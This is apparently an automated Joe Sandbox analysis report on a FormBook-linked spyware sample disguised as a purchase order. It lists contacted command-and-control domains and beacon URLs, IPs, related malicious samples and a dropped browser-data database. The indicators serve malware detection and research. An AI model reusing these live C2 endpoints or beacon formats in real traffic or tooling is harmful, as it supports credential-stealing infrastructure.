                          		truetrue
                            		unknown
                            www.cc101.pro
                            		188.114.97.3
                            		truefalse
                              		unknown
                              galaxyslot88rtp.lat
                              		162.0.209.213
                              		truefalse
                                		unknown
                                www.rtpngk.xyz
                                		188.114.96.3
                                		truetrue
                                  		unknown
                                  kovallo.cloud
                                  		81.2.196.19
                                  		truefalse
                                    		unknown
                                    sppsuperplast.online
                                    		94.73.146.114
                                    		truefalse
                                      		unknown
                                      ghs.googlehosted.com
                                      		142.250.185.243
                                      		truefalse
                                        		unknown
                                        ks1x7i.vip
                                        		3.33.130.190
                                        		truefalse
                                          		unknown
                                          www.les-massage.online
                                          		194.58.112.174
                                          		truefalse
                                            		unknown
                                            www.warriorsyndrome.net
                                            		unknown
                                            		unknowntrue
                                              		unknown
                                              www.deefbank.net
                                              		unknown
                                              		unknowntrue
                                                		unknown
                                                www.kovallo.cloud
                                                		unknown
                                                		unknowntrue
                                                  		unknown
                                                  www.pakmartcentral.shop
                                                  		unknown
                                                  		unknowntrue
                                                    		unknown
                                                    198.187.3.20.in-addr.arpa
                                                    		unknown
                                                    		unknowntrue
                                                      		unknown
                                                      www.wcq24.top
                                                      		unknown
                                                      		unknowntrue
                                                        		unknown
                                                        www.galaxyslot88rtp.lat
                                                        		unknown
                                                        		unknowntrue
                                                          		unknown
                                                          www.asociacia.online
                                                          		unknown
                                                          		unknowntrue
                                                            		unknown
                                                            www.tracy.club
                                                            		unknown
                                                            		unknowntrue
                                                              		unknown
                                                              www.sppsuperplast.online
                                                              		unknown
                                                              		unknowntrue
                                                                		unknown
                                                                www.ks1x7i.vip
                                                                		unknown
                                                                		unknowntrue
                                                                  		unknown

                                                                  Contacted URLs

                                                                  NameMaliciousAntivirus DetectionReputation
                                                                  http://www.pakmartcentral.shop/ml5l/?tD38rnpX=q39FRlrjXh2BAZ2an0Y0b+wnoW9u3vRxeQ2ev9PxWnLSwGTc53vym4zMKhd+m8E/J85vcAPus+7jLKqTLJL7t505dGuRC+h7PG4sEZBoQB4qU2nqGCnuFeKullFU1LLKbA==&EjY0i=xfOdKrMPufalse
                                                                    		unknown
                                                                    http://www.sppsuperplast.online/becc/?tD38rnpX=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1moFR53yiG80M6W+9XtA+QAGi4qenDi/3bWCk4qyGtSk7mA==&EjY0i=xfOdKrMPufalse
                                                                      		unknown
                                                                      http://www.warriorsyndrome.net/kzas/false
                                                                        		unknown
                                                                        http://www.moritynomxd.xyz/v5tr/?tD38rnpX=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1qjXBxlRRBvQeKN9MCs6rt4O0A37rHOMOhfRDAQ4VRmvrUA==&EjY0i=xfOdKrMPufalse
                                                                          		unknown
                                                                          http://www.ks1x7i.vip/uxh9/false
                                                                            		unknown
                                                                            http://www.galaxyslot88rtp.lat/lbpf/false
                                                                              		unknown
                                                                              http://www.galaxyslot88rtp.lat/lbpf/?EjY0i=xfOdKrMPu&tD38rnpX=M+DfsBvEIkyOAb10y0dA+UDjYbUtqrwEKADScmdz2U7nr/YOsALJT64KSPaG4zh33A22H+qXr8/USoZXKjK93sqqHOCuayEDiHyzHaaTRbnLyC0b3lw7NCCFPm0+2CPqQg==false
                                                                                		unknown
                                                                                http://www.rtpngk.xyz/876i/false
                                                                                  		unknown
                                                                                  http://www.wcq24.top/i557/false
                                                                                    		unknown
                                                                                    http://www.tracy.club/fl4z/?tD38rnpX=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzbo1NqK3PKuQaAPPfFY6+C0+pHlsubNBPbYC2QzRTU8ncLQ==&EjY0i=xfOdKrMPufalse
                                                                                      		unknown
                                                                                      http://www.pakmartcentral.shop/ml5l/false
                                                                                        		unknown
                                                                                        http://www.asociacia.online/bf6k/false
                                                                                          		unknown
                                                                                          http://www.asociacia.online/bf6k/?EjY0i=xfOdKrMPu&tD38rnpX=WmuOVz+RC0WxuKvAKjLazsuJSut05UnIYH9cvZCoa2K6/WBiXNRHwXvjS8aBoIFx3RUgrEeQYXBh1DGCvEwods33kMwpJrQrnTNrxCZFMqbP6nPotYffTTpL7BSxlfubkw==false
                                                                                            		unknown
                                                                                            http://www.deefbank.net/1y6y/?tD38rnpX=ZZCwzVqBWU3muJHN1dgNLIPJNXd9yQEIX/09mdB9zFH2Ray8HotAqN5avWZULpURoYhjfm8F2pVR91tny4xaEvUGtehf5Pi2CT/GNU0uX4WCZi+OwvuFhStzoqURSptShA==&EjY0i=xfOdKrMPufalse
                                                                                              		unknown
                                                                                              http://www.syncnodex.net/xx1z/?tD38rnpX=VQ273Por9tZNXcpnBjHyerHfPh3IuY3S8eL22/fuso5dBdPYMoEWGed6+bFxO5C9LYS/pyvuVKWKURQ6ZaqIWALShVtLhBJf0Zc/Moct8BW03OYKJW272kVfLJqh86tTEg==&EjY0i=xfOdKrMPufalse
                                                                                                		unknown
                                                                                                http://www.tracy.club/fl4z/false
                                                                                                  		unknown
                                                                                                  http://www.kovallo.cloud/kmgk/false
                                                                                                    		unknown
                                                                                                    http://www.les-massage.online/74ou/?tD38rnpX=3mmMrs1mHi0xtqaDMxx5sGmAfYwz3fKeAP6hfCImDXgoS2DvTlMdmK0EBclDVq+276a7o9Kf0aGsTEl5XVQU8hFnYYQwN4YvQQrBN/UKtPKYTv3aHsCNNey2XHWZ7ns4hg==&EjY0i=xfOdKrMPufalse
                                                                                                      		unknown
                                                                                                      http://www.sppsuperplast.online/becc/false
                                                                                                        		unknown
                                                                                                        http://www.kovallo.cloud/kmgk/?tD38rnpX=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzWykVQry7ZncTD9wSlVtUUKSJ1PHuSGlsoS10aeDaXfnAjA==&EjY0i=xfOdKrMPufalse
                                                                                                          		unknown
                                                                                                          http://www.ks1x7i.vip/uxh9/?EjY0i=xfOdKrMPu&tD38rnpX=ws/IawdEHaoWNg/j/7Jh7udGjrT+7JNe46jOTwFB35qywQtlsi2lBgTXskhK1RztBb48nT9+3zT3nLR+G4pWyzQ0tn9RhMvNB3SaPHbRIwRK600Mr28q0PInCw0i81OhPw==false
                                                                                                            		unknown
                                                                                                            http://www.sterkus.xyz/ha8h/false
                                                                                                              		unknown
                                                                                                              http://www.cc101.pro/4hfb/?tD38rnpX=p0fiPEbR7h0D1ZUOfVsjdEWFV3Vqdd7ztt+ba1ipU50QpLeGbsfhVX/xlcry6cJcaLbXkWa/uL73QIBTv0okiuskq6GJdh4BWenpy8UN30vYH/0dDo4sL0pwx2EUFqHf/Q==&EjY0i=xfOdKrMPufalse
                                                                                                                		unknown
                                                                                                                http://www.sterkus.xyz/ha8h/?EjY0i=xfOdKrMPu&tD38rnpX=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX642MIvS6XErww1P8sJLsEqVRWe1KmIBRKh60xF4W7tUSWJA==false
                                                                                                                  		unknown
                                                                                                                  http://www.deefbank.net/1y6y/false
                                                                                                                    		unknown
                                                                                                                    http://www.syncnodex.net/xx1z/false
                                                                                                                      		unknown
                                                                                                                      http://www.rtpngk.xyz/876i/?tD38rnpX=Kmyw+GmuH5iWde8Ln9Oic9mBBukDH7X+neEL39Fbw9B5TSRbsYx5ep9OaSlRgrfJ9t7osQY2p6mHYTWDA9JvbMEa0CMa2SDZMMOHi1NVW5+obCTohagwYw9FzG8LP8jMUA==&EjY0i=xfOdKrMPufalse
                                                                                                                        		unknown
                                                                                                                        http://www.cc101.pro/4hfb/false
                                                                                                                          		unknown
                                                                                                                          http://www.les-massage.online/74ou/false
                                                                                                                            		unknown

                                                                                                                            URLs from Memory and Binaries

                                                                                                                            NameSourceMaliciousAntivirus DetectionReputation
                                                                                                                            https://htmlcodex.comreplace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              https://duckduckgo.com/chrome_newtabreplace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              • URL Reputation: safe
                                                                                                                              		unknown
                                                                                                                              https://duckduckgo.com/ac/?q=replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              • URL Reputation: safe
                                                                                                                              		unknown
                                                                                                                              https://reg.rureplace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                https://cdn.jsdelivr.net/npm/bootstrapreplace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  https://www.rtpngk.xyz/876i/?tD38rnpX=Kmywreplace.exe, 00000004.00000002.4574211387.000000000520A000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.000000000494A000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    http://www.deefbank.netaqHVlkxOGyJW.exe, 00000006.00000002.4575610273.00000000058F2000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      		unknown
                                                                                                                                      https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchreplace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      		unknown
                                                                                                                                      https://www.reg.ru/dedicated/?utm_source=www.les-massage.online&utm_medium=parking&utm_campaign=s_lareplace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        https://www.reg.ru/whois/?check=&dname=www.les-massage.online&amp;reg_source=parking_autoreplace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          https://www.google.com/images/branding/product/ico/googleg_lodp.icoreplace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.cssreplace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              https://parking.reg.ru/script/get_domain_data?domain_name=www.les-massage.online&rand=replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                		unknown
                                                                                                                                                http://sppsuperplast.online/becc/?tD38rnpX=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZqreplace.exe, 00000004.00000002.4574211387.00000000043E8000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003B28000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  http://156.226.108.99:28888/replace.exe, 00000004.00000002.4574211387.000000000552E000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000004.00000002.4576197720.0000000006710000.00000004.00000800.00020000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000004C6E000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    https://code.jquery.com/jquery-3.4.1.min.jsreplace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        https://www.ecosia.org/newtab/replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://cdn.jsdelivr.net/npm/bootstrap-iconsreplace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          https://www.reg.ru/domain/new/?utm_source=www.les-massage.online&utm_medium=parking&utm_campaign=s_lreplace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            https://ac.ecosia.org/autocomplete?q=replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            • URL Reputation: safe
                                                                                                                                                            		unknown
                                                                                                                                                            https://www.reg.ru/sozdanie-saita/replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              https://www.reg.ru/hosting/?utm_source=www.les-massage.online&utm_medium=parking&utm_campaign=s_landreplace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                		unknown
                                                                                                                                                                https://htmlcodex.com/credit-removalreplace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://www.galaxyslot88rtp.lat/lbpf/?EjY0i=xfOdKrMPu&tD38rnpX=Mreplace.exe, 00000004.00000002.4574211387.0000000004A30000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000004170000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                    		unknown

                                                                                                                                                                    World Map of Contacted IPs

                                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                                    Public IPs

                                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                    209.74.95.29
                                                                                                                                                                    		www.sterkus.xyzUnited States
                                                                                                                                                                    		31744MULTIBAND-NEWHOPEUStrue
                                                                                                                                                                    84.32.84.32
                                                                                                                                                                    		pakmartcentral.shopLithuania
                                                                                                                                                                    		33922NTT-LT-ASLTfalse
                                                                                                                                                                    142.250.185.243
                                                                                                                                                                    		ghs.googlehosted.comUnited States
                                                                                                                                                                    		15169GOOGLEUSfalse
                                                                                                                                                                    81.2.196.19
                                                                                                                                                                    		asociacia.onlineCzech Republic
                                                                                                                                                                    		24806INTERNET-CZKtis238403KtisCZfalse
                                                                                                                                                                    162.0.209.213
                                                                                                                                                                    		galaxyslot88rtp.latCanada
                                                                                                                                                                    		35893ACPCAfalse
                                                                                                                                                                    172.81.61.224
                                                                                                                                                                    		www.moritynomxd.xyzUnited States
                                                                                                                                                                    		22552ESITEDUStrue
                                                                                                                                                                    94.73.146.114
                                                                                                                                                                    		sppsuperplast.onlineTurkey
                                                                                                                                                                    		34619CIZGITRfalse
                                                                                                                                                                    188.114.97.3
                                                                                                                                                                    		www.cc101.proEuropean Union
                                                                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                                                                    188.114.96.3
                                                                                                                                                                    		www.rtpngk.xyzEuropean Union
                                                                                                                                                                    		13335CLOUDFLARENETUStrue
                                                                                                                                                                    154.23.184.240
                                                                                                                                                                    		wcq24.topUnited States
                                                                                                                                                                    		174COGENT-174USfalse
                                                                                                                                                                    194.58.112.174
                                                                                                                                                                    		www.les-massage.onlineRussian Federation
                                                                                                                                                                    		197695AS-REGRUfalse
                                                                                                                                                                    3.33.130.190
                                                                                                                                                                    		tracy.clubUnited States
                                                                                                                                                                    		8987AMAZONEXPANSIONGBfalse
                                                                                                                                                                    15.197.172.60
                                                                                                                                                                    		www.syncnodex.netUnited States
                                                                                                                                                                    		7430TANDEMUSfalse

                                                                                                                                                                    General Information

                                                                                                                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                    Analysis ID:1542186
                                                                                                                                                                    Start date and time:2024-10-25 16:26:06 +02:00
                                                                                                                                                                    Joe Sandbox product:CloudBasic
                                                                                                                                                                    Overall analysis duration:0h 10m 40s
                                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                                    Report type:full
                                                                                                                                                                    Cookbook file name:default.jbs
                                                                                                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                    Number of analysed new started processes analysed:7
                                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                                    Number of injected processes analysed:2
                                                                                                                                                                    Technologies:
                                                                                                                                                                    • HCA enabled
                                                                                                                                                                    • EGA enabled
                                                                                                                                                                    • AMSI enabled
                                                                                                                                                                    Analysis Mode:default
                                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                                    Sample name:PO 4800040256.exe
                                                                                                                                                                    Detection:MAL
                                                                                                                                                                    Classification:mal100.troj.spyw.evad.winEXE@7/2@17/13
                                                                                                                                                                    EGA Information:
                                                                                                                                                                    • Successful, ratio: 75%
                                                                                                                                                                    HCA Information:
                                                                                                                                                                    • Successful, ratio: 91%
                                                                                                                                                                    • Number of executed functions: 40
                                                                                                                                                                    • Number of non-executed functions: 314
                                                                                                                                                                    Cookbook Comments:
                                                                                                                                                                    • Found application associated with file extension: .exe
                                                                                                                                                                    • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                    Warnings

                                                                                                                                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                    • VT rate limit hit for: PO 4800040256.exe

                                                                                                                                                                    Simulations

                                                                                                                                                                    Behavior and APIs

                                                                                                                                                                    TimeTypeDescription
                                                                                                                                                                    10:27:54API Interceptor11121857x Sleep call for process: replace.exe modified

                                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                                    IPs

                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                    209.74.95.29PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.pofgof.pro/gfz9/
                                                                                                                                                                    POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.sterkus.xyz/ha8h/?86_x=PbxAaK8rSTbGZ+BXmINHlCmvDMYzd7cnW5ERHNgbkCm+3sg74DzBCzS1WsCQlDZBoOF+IY6Xn812UFXfTFX6/xo/4S63CIRytf8/LKIAqG5Hdl7pUAMfsfg=&bVi=_BPd
                                                                                                                                                                    YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.sterkus.xyz/ha8h/
                                                                                                                                                                    PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.pofgof.pro/gfz9/
                                                                                                                                                                    PO23100072.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.pofgof.pro/gfz9/
                                                                                                                                                                    PO-000001488.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.pofgof.pro/gfz9/
                                                                                                                                                                    List of Items0001.doc.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                                                                    • www.onetoph.xyz/h5ax/
                                                                                                                                                                    PO2024033194.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.sterkus.xyz/ha8h/
                                                                                                                                                                    PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.pofgof.pro/gfz9/
                                                                                                                                                                    84.32.84.32PO 45003516.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.zrro.xyz/igo0/
                                                                                                                                                                    QUOTE2342534.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.voidzero.tech/2vbz/
                                                                                                                                                                    mm.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                    • www.xtelify.tech/4nzc/
                                                                                                                                                                    FACTURA A-7507_H1758.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                    • www.xtelify.tech/yzuf/
                                                                                                                                                                    LlbpXphTu9.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                    • www.stoff-tanz.online/nwjc/
                                                                                                                                                                    P1 BOL.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                    • www.bravas.company/fycp/
                                                                                                                                                                    PO1268931024 - Bank Slip.exeGet hashmaliciousPureLog StealerBrowse
                                                                                                                                                                    • www.xtelify.tech/9dj3/
                                                                                                                                                                    Re property pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.rsantos.shop/314m/
                                                                                                                                                                    rDRAWINGDWGSINC.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.b-ambu.com/iuk8/
                                                                                                                                                                    PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • www.agilizeimob.app/we8s/

                                                                                                                                                                    Domains

                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext

                                                                                                                                                                    ASNs

                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                    NTT-LT-ASLTPO 45003516.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    QUOTE2342534.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    mm.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    FACTURA A-7507_H1758.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    LlbpXphTu9.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    P1 BOL.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    PO1268931024 - Bank Slip.exeGet hashmaliciousPureLog StealerBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    Request for 30 Downpayment.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    Re property pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    rDRAWINGDWGSINC.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 84.32.84.32
                                                                                                                                                                    INTERNET-CZKtis238403KtisCZyGktPvplJn.exeGet hashmaliciousPushdoBrowse
                                                                                                                                                                    • 81.2.194.241
                                                                                                                                                                    rHSBCBank_Paymentswiftcpy.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    NU1aAbSmCr.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    lPX6PixV4t.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    Z6s208B9QX.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    POPO00003964.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    RFQ - HTS45785-24-0907I000.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    Purchase Order_ AEPL-2324-1126.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    Request for Quotation Hi-Tech Park Project 193200.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 81.2.196.19
                                                                                                                                                                    MULTIBAND-NEWHOPEUSNew orde.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.187
                                                                                                                                                                    QUOTE2342534.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.190
                                                                                                                                                                    General terms and conditions of sale - Valid from 10202024 to 12312024.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.189
                                                                                                                                                                    Doc 784-01965670.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.187
                                                                                                                                                                    BL.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.187
                                                                                                                                                                    Request for 30 Downpayment.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                                                                                    • 209.74.64.189
                                                                                                                                                                    Halkbank_Ekstre_20230426_075819_154055.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.190
                                                                                                                                                                    #U8a02#U55ae#U63cf#U8ff0.vbsGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.190
                                                                                                                                                                    rDRAWINGDWGSINC.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.187
                                                                                                                                                                    r0000000NT_PDF.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                    • 209.74.64.190

                                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                                    ⊘No context

                                                                                                                                                                    Dropped Files

                                                                                                                                                                    ⊘No context

                                                                                                                                                                    Created / dropped Files

                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\6U0173jM

                                                                                                                                                                    Download File
                                                                                                                                                                    Process:C:\Windows\SysWOW64\replace.exe
                                                                                                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):196608
                                                                                                                                                                    Entropy (8bit):1.121297215059106
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
                                                                                                                                                                    MD5:D87270D0039ED3A5A72E7082EA71E305
                                                                                                                                                                    SHA1:0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
